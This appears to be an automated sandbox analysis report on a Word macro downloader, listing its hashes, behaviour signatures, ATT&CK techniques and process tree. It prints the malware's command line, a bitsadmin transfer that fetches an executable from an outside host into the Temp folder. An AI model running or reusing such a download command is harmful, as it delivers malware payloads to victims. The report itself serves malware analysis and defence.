61c7eb8c33d7eb01285c503fa72d249f470fe3606ff10e459cfdc2f9e3d59b35

General

Target

SecuriteInfo.com.W97M.Downloader.3758.22468.doc
Size

39KB
MD5

205b4d4b93e744d9ae520b62e98c7619
SHA1

688752c9a25d28e3533cc98b37d98bc688614207
SHA256

61c7eb8c33d7eb01285c503fa72d249f470fe3606ff10e459cfdc2f9e3d59b35
SHA512

40d3d3a4b4b8944ec6546888bd1599945c5b558c7edcc24cdd0dc30f9331b1396d68e34eb5a43f5c38e60b24ad97b67c065722c1b462d4971f5b1e7e7143038c

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

bitsadmin.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1768	2536	bitsadmin.exe	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2536 wrote to memory of 1768	2536	WINWORD.EXE	bitsadmin.exe
PID 2536 wrote to memory of 1768	2536	WINWORD.EXE	bitsadmin.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

1768 bitsadmin.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

2536 WINWORD.EXE
2536 WINWORD.EXE
2536 WINWORD.EXE
2536 WINWORD.EXE
2536 WINWORD.EXE
2536 WINWORD.EXE
2536 WINWORD.EXE
2536 WINWORD.EXE
2536 WINWORD.EXE
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2536 WINWORD.EXE
2536 WINWORD.EXE

pid	process
1768	bitsadmin.exe

pid	process
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE
2536	WINWORD.EXE

pid	process
2536	WINWORD.EXE
2536	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W97M.Downloader.3758.22468.doc" /o ""
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:2536

C:\Windows\SYSTEM32\bitsadmin.exe
bitsadmin /transfer myFile /download /priority normal http://entrega-vertices.com/10G1B.exe C:\Users\Admin\AppData\Local\Temp\filename.exe
2⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:1768

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

BITS Jobs

1

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

1

T1197

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1768-4-0x0000000000000000-mapping.dmp

Download
memory/2536-1-0x0000024E0DD43000-0x0000024E0DD89000-memory.dmp

Filesize
280KB

Download
memory/2536-2-0x0000024E0DD43000-0x0000024E0DD89000-memory.dmp

Filesize
280KB

Download
memory/2536-3-0x0000024E0DD43000-0x0000024E0DD89000-memory.dmp

Filesize
280KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads